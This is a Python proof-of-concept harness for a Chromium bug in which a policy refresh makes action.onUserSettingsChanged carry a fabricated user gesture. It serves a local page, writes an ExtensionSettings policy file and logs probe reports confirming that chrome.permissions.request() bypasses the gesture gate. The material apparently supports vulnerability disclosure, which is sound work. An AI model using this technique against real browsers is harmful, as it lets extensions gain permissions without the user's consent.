#!/usr/bin/env python3
"""POC harness for the action.onUserSettingsChanged synthetic-gesture bug.

Serves a landing page, collects reports from the extension service worker,
and — when the SW reports it is ready — writes an ExtensionSettings policy
that sets `toolbar_pin: "default_pinned"` for the POC extension.

Chrome must be launched in a mount namespace where POLICY_DIR is bind-mounted
at /etc/chromium/policies (see README.md). Its ConfigDirPolicyLoader watches
that directory with inotify; writing the policy file triggers a reload, which
calls ToolbarActionsModel::OnExtensionManagementSettingsChanged(), which calls
ExtensionActionDispatcher::OnActionPinnedStateChanged() — dispatching
action.onUserSettingsChanged with a fabricated user gesture.
"""

import http.server
import json
import os
import sys
import threading

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = 8080

# Directory that is bind-mounted to /etc/chromium/policies inside the
# mount namespace Chrome runs in.
POLICY_DIR = os.environ.get('POC_POLICY_DIR', '/tmp/poc-policies')
MANAGED_DIR = os.path.join(POLICY_DIR, 'managed')

# Fixed by the "key" field in extension/manifest.json.
EXTENSION_ID = 'nkeimhogjdpnpccoofpliimaahmaaome'

state = {'policy_written': False, 'reports': []}
verdict_event = threading.Event()


def write_policy():
    os.makedirs(MANAGED_DIR, exist_ok=True)
    policy = {
        'ExtensionSettings': {
            EXTENSION_ID: {
                'toolbar_pin': 'default_pinned',
            }
        }
    }
    path = os.path.join(MANAGED_DIR, 'poc.json')
    tmp = path + '.tmp'
    with open(tmp, 'w') as f:
        json.dump(policy, f)
    os.rename(tmp, path)
    state['policy_written'] = True
    print(f'[server] wrote policy {path} -> default_pinned for {EXTENSION_ID}',
          flush=True)


class Handler(http.server.BaseHTTPRequestHandler):
    def _send(self, code, body=b'ok', ctype='text/plain'):
        self.send_response(code)
        self.send_header('Content-Type', ctype)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_OPTIONS(self):
        self.send_response(204)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET,POST,OPTIONS')
        self.send_header('Access-Control-Allow-Headers', '*')
        self.end_headers()

    def do_GET(self):
        if self.path in ('/', '/index.html'):
            with open(os.path.join(HERE, 'index.html'), 'rb') as f:
                self._send(200, f.read(), 'text/html')
        elif self.path == '/ready':
            print('[server] extension SW ready; writing policy file ...',
                  flush=True)
            if not state['policy_written']:
                write_policy()
            self._send(200)
        else:
            self._send(404, b'not found')

    def do_POST(self):
        n = int(self.headers.get('Content-Length', '0') or 0)
        body = self.rfile.read(n).decode('utf-8', 'replace')
        try:
            obj = json.loads(body)
        except Exception:
            obj = {'raw': body}
        state['reports'].append(obj)
        tag = obj.get('tag', '?')
        data = obj.get('data')
        print(f'[ext]  {tag}: {json.dumps(data)}', flush=True)
        if tag == 'control-no-gesture-probe':
            gate = (data or {}).get('gate')
            if gate == 'BLOCKED_NO_GESTURE':
                print('[server] CONTROL OK: permissions.request rejected '
                      'without a gesture (expected).', flush=True)
            else:
                print('[server] CONTROL UNEXPECTED:', data, flush=True)
        if tag == 'onUserSettingsChanged-probe':
            gate = (data or {}).get('gate')
            if gate == 'BYPASSED':
                print('\n' + '=' * 72, flush=True)
                print('[server] *** VULNERABILITY CONFIRMED ***', flush=True)
                print('[server] action.onUserSettingsChanged delivered a '
                      'synthetic user gesture:', flush=True)
                print('[server]   chrome.permissions.request() bypassed the '
                      'gesture gate', flush=True)
                print('[server]   triggered with ZERO local user interaction '
                      '(policy refresh).', flush=True)
                print('=' * 72 + '\n', flush=True)
            else:
                print('[server] gesture gate NOT bypassed (bug fixed?)',
                      flush=True)
            verdict_event.set()
        self._send(200)

    def log_message(self, fmt, *args):
        pass  # quiet


def main():
    os.makedirs(MANAGED_DIR, exist_ok=True)
    # Clear any stale policy from a previous run so the extension starts
    # unpinned and the policy *change* is what triggers the event.
    for f in os.listdir(MANAGED_DIR):
        os.unlink(os.path.join(MANAGED_DIR, f))
    print(f'[server] listening on http://127.0.0.1:{PORT}/', flush=True)
    print(f'[server] policy dir: {MANAGED_DIR} '
          f'(bind-mount this at /etc/chromium/policies/managed)', flush=True)
    httpd = http.server.ThreadingHTTPServer(('127.0.0.1', PORT), Handler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    # Wait up to 90s for a verdict, then summarise.
    verdict_event.wait(timeout=90)
    if not verdict_event.is_set():
        print('[server] timed out waiting for onUserSettingsChanged probe.',
              flush=True)
    # Give any trailing reports a moment to arrive.
    threading.Event().wait(2)
    httpd.shutdown()


if __name__ == '__main__':
    main()